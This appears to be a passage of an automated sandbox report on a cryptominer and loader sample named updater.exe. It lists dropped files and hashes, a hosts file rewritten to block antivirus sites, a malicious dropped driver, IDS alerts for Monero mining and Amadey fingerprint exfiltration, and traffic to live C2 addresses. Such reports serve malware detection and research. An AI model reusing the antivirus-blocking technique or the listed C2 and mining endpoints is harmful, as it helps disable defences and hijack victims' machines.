SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bosnzhv.fsu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hi00hr1n.lvt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jodddkj1.w0x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wlcjo51f.juz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2lllllZ:NllUClll
MD5:	4D98AF7F487E62A9C1D44B02674BAB7E
SHA1:	1B492B2208949EB7F18C32F309C296B4258DBA65
SHA-256:	1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
SHA-512:	60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
Malicious:	false
Preview:	@...e.................................:..............@..........

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\Desktop\updater.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2748
Entropy (8bit):	4.269302338623222
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
MD5:	7B1D6A1E1228728A16B66C3714AA9A23
SHA1:	8B59677A3560777593B1FA7D67465BBD7B3BC548
SHA-256:	3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
SHA-512:	573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

C:\Windows\Temp\__PSScriptPolicyTest_c2tvagps.hao.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_gb3hbzal.jkv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nb50sti0.00l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_uv4r1eml.uul.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\maoxoafwbtki.sys

Download File

Process:	C:\ProgramData\Google\Chrome\updater.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.Malware-gen.6320.5781.exe, Detection: malicious, Browse Filename: xjSglbp263.exe, Detection: malicious, Browse Filename: gwRQinPOHB.exe, Detection: malicious, Browse Filename: 3YHDfHLvo4.exe, Detection: malicious, Browse Filename: conhost.exe, Detection: malicious, Browse Filename: Software1.30.1.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader46.63386.25844.4041.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: updater.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.5439853687656875
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	updater.exe
File size:	5'285'888 bytes
MD5:	d82677ac9971e38439a6f8069e8ba5bf
SHA1:	534b60e16989751c4e2252bbbcc38d97b979f2d0
SHA256:	f981ff1ec7014262015fa7ff9cc01097e98ecec7385e0828b7d91dde5b38ce03
SHA512:	2740aabc53d2e00b72b77f6f20a327cdaa53ca76912ed54a17b0b0fd94802ac90e7cf82210f1cff84a42897153538ce7f37e6a02d50db7c427c0295b0d8f3e0a
SSDEEP:	98304:PESNReLHfx5vk7bqVTrvjNaJrXWTLLE3Lu+h3mo8i5BXdzLnKwUaQJ7:MQUTfxSe5FTLL2Vhd5jzLnKtaS7
TLSH:	E936232E2D0FA0EAC504447DC22B33A044EEBD5E579589DBDA75BEB06D150C4EC72F8A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d..."j.e.........."...........O.....@..........@............................. Q...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65A66A22 [Tue Jan 16 11:36:02 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b237ac2118704db9e7609540658f5790

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00010ED5h]
mov dword ptr [eax], 00000001h
call 00007F59611B72AFh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00010EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F59611B72D0h
dec eax
cmp edi, eax
je 00007F59611B72CBh
dec esp
mov esi, dword ptr [000139F9h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F59611B72A7h
dec eax
cmp edi, eax
jne 00007F59611B7289h
dec eax
mov edi, dword ptr [00010E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F59611B72AEh
mov ecx, 0000001Fh
call 00007F59611C79A4h
jmp 00007F59611B72C9h
cmp dword ptr [edi], 00000000h
je 00007F59611B72ABh
mov byte ptr [0050AA81h], 00000001h
jmp 00007F59611B72BBh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00010E7Ah]
dec eax
mov edx, dword ptr [00010E7Bh]
call 00007F59611C799Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F59611B72BBh
dec eax
mov ecx, dword ptr [00010E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14888	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x50e000	0x18c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x511000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x120a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x12410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x14a40	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x10a96	0x10c00	25a5b203b78f66cc2202dffba4bb867a	False	0.45727903451492535	data	6.23628059943859	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x12000	0x3070	0x3200	c05522f7e10a55cd6bc4c8e5280eb201	False	0.485	data	5.1256139374089225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x16000	0x4f7c48	0x4f5e00	82428ae34bef76b7af4afc7e51e1bc99	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x50e000	0x18c	0x200	eab168eb18c87146d1d80800968dd600	False	0.517578125	data	3.496130895590373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x50f000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x510000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x511000	0x78	0x200	01f8c7abb07b7dfe015437cf470c5706	False	0.232421875	data	1.4735891426027823	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strcat, strcpy, strlen, strncmp, strstr, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-22T15:45:08.333951+0200	TCP	2826930	ETPRO COINMINER XMR CoinMiner Usage	49724	443	192.168.2.5	141.94.96.195
2024-07-22T15:46:06.697997+0200	UDP	2047928	ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)	60971	53	192.168.2.5	1.1.1.1
2024-07-22T15:46:06.696381+0200	TCP	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	80	49723	77.222.57.251	192.168.2.5
2024-07-22T15:45:05.821446+0200	UDP	2040353	ET COINMINER Observed DNS Query to Cryptocurrency Mining Pool Domain (xmr .2miners .com)	52943	53	192.168.2.5	1.1.1.1
2024-07-22T15:45:11.088905+0200	TCP	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	49708	80	192.168.2.5	77.222.57.251
2024-07-22T15:46:06.695665+0200	TCP	2044697	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3	49723	80	192.168.2.5	77.222.57.251

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2024 15:45:05.835463047 CEST	49704	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:05.841598034 CEST	12222	49704	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:05.841672897 CEST	49704	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:05.841917992 CEST	49704	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:05.847151995 CEST	12222	49704	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:06.997632027 CEST	49705	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:07.005851030 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.005924940 CEST	49705	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:07.006606102 CEST	49705	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:07.039699078 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.694612980 CEST	12222	49704	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:07.695899010 CEST	49704	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:07.820501089 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.821124077 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.821132898 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.821247101 CEST	49705	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:07.821357965 CEST	49705	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:07.826114893 CEST	80	49705	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:07.831082106 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:07.831120968 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:07.831182003 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:07.850640059 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:07.850661039 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.329050064 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.330323935 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:08.330349922 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.331739902 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.331834078 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:08.333734035 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:08.333803892 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.333862066 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:08.333869934 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:08.379846096 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.062365055 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.062448978 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.062565088 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.067451000 CEST	49706	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.067467928 CEST	443	49706	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.093856096 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.093898058 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.094001055 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.106396914 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.106415987 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.650379896 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.651596069 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.651621103 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.654603004 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.654678106 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.656327963 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.656390905 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.656454086 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:09.656461954 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:09.707958937 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:10.215776920 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:10.215890884 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:10.215985060 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:10.223720074 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:10.223763943 CEST	443	49707	104.20.4.235	192.168.2.5
Jul 22, 2024 15:45:10.223809004 CEST	49707	443	192.168.2.5	104.20.4.235
Jul 22, 2024 15:45:10.278795958 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:10.285995007 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:10.286158085 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:10.286242962 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:10.291352987 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:10.291414022 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:10.296669960 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:11.088618040 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:11.088905096 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:11.092195988 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:11.092315912 CEST	49708	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:45:11.100336075 CEST	80	49708	77.222.57.251	192.168.2.5
Jul 22, 2024 15:45:11.118397951 CEST	49704	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:11.129925013 CEST	12222	49704	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:16.192920923 CEST	49714	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:16.571672916 CEST	12222	49714	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:16.571774006 CEST	49714	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:16.572181940 CEST	49714	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:16.576965094 CEST	12222	49714	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:18.252007008 CEST	12222	49714	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:18.252114058 CEST	49714	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:18.252197981 CEST	49714	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:18.262015104 CEST	12222	49714	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:23.270973921 CEST	49715	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:23.276290894 CEST	12222	49715	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:23.276384115 CEST	49715	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:23.282444954 CEST	49715	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:23.287345886 CEST	12222	49715	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:24.991748095 CEST	12222	49715	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:24.991997957 CEST	49715	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:24.992090940 CEST	49715	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:24.997549057 CEST	12222	49715	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:30.349236965 CEST	49716	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:30.355202913 CEST	12222	49716	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:30.355410099 CEST	49716	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:30.360763073 CEST	49716	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:30.365717888 CEST	12222	49716	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:32.096410036 CEST	12222	49716	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:32.096623898 CEST	49716	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:32.096729040 CEST	49716	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:32.102621078 CEST	12222	49716	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:37.490607977 CEST	49717	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:37.495556116 CEST	12222	49717	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:37.495630026 CEST	49717	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:37.495871067 CEST	49717	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:37.505319118 CEST	12222	49717	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:39.198666096 CEST	12222	49717	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:39.204288006 CEST	49717	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:39.204394102 CEST	49717	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:39.209250927 CEST	12222	49717	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:44.555110931 CEST	49718	12222	192.168.2.5	162.19.139.184
